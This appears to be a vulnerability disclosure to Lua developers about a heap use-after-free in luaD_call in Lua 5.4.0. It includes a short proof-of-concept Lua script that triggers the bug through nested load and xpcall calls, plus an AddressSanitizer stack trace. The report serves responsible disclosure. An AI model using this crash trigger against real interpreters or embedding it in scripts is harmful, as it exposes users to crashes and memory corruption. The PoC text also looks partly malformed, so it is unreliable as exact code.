Heap use after free in luaD

Hi,

We found a heap use after free in lua. Here’s the details:

Version:

Lua 5.4.0, git hash c33b1728aeb7dfeec4013562660e07d32697aa6b

POC:

function errfunc() string.rep('mod', 512) end

function test()

load(function()(function() printload(

xpcall(test, function() print(xpcall(test, errfunc)) end)) end)() end)

end(function() print(xpcall(test, errfunc)) end)()

How to reproduce:

./lua poc.lua

Stack dump:

=================================================================

==16339==ERROR: AddressSanitizer: heap-use-after-free on address 0x606000106afc at pc 0x000000414f64 bp 0x7ffd2b8acdb0 sp 0x7ffd2b8acda0

WRITE of size 2 at 0x606000106afc thread T0

#0 0x414f63 in luaD_call (/home/yongheng/lua_asan/lua+0x414f63)

#1 0x43d4cc in luaV_execute (/home/yongheng/lua_asan/lua+0x43d4cc)

#2 0x43d4cc in luaV_execute (/home/yongheng/lua_asan/lua+0x43d4cc)

#3 0x415194 in luaD_callnoyield (/home/yongheng/lua_asan/lua+0x415194)

#4 0x40baf4 in lua_callk (/home/yongheng/lua_asan/lua+0x40baf4)

#5 0x4562fb in generic_reader (/home/yongheng/lua_asan/lua+0x4562fb)

#6 0x447cb8 in luaZ_fill (/home/yongheng/lua_asan/lua+0x447cb8)

#7 0x412594 in f_parser (/home/yongheng/lua_asan/lua+0x412594)

#8 0x4127d0 in luaD_rawrunprotected (/home/yongheng/lua_asan/lua+0x4127d0)

#9 0x415d70 in luaD_pcall (/home/yongheng/lua_asan/lua+0x415d70)

#10 0x41611c in luaD_protectedparser (/home/yongheng/lua_asan/lua+0x41611c)

#11 0x40c1d4 in lua_load (/home/yongheng/lua_asan/lua+0x40c1d4)

#12 0x456a92 in luaB_load (/home/yongheng/lua_asan/lua+0x456a92)

#13 0x414de1 in luaD_call (/home/yongheng/lua_asan/lua+0x414de1)

#14 0x43d4cc in luaV_execute (/home/yongheng/lua_asan/lua+0x43d4cc)

#15 0x415194 in luaD_callnoyield (/home/yongheng/lua_asan/lua+0x415194)

#16 0x4127d0 in luaD_rawrunprotected (/home/yongheng/lua_asan/lua+0x4127d0)

#17 0x415d70 in luaD_pcall (/home/yongheng/lua_asan/lua+0x415d70)

#18 0x40bd47 in lua_pcallk (/home/yongheng/lua_asan/lua+0x40bd47)

#19 0x45672e in luaB_xpcall (/home/yongheng/lua_asan/lua+0x45672e)….

Found by: Yongheng Chen and Rui Zhong

Best,

Yongheng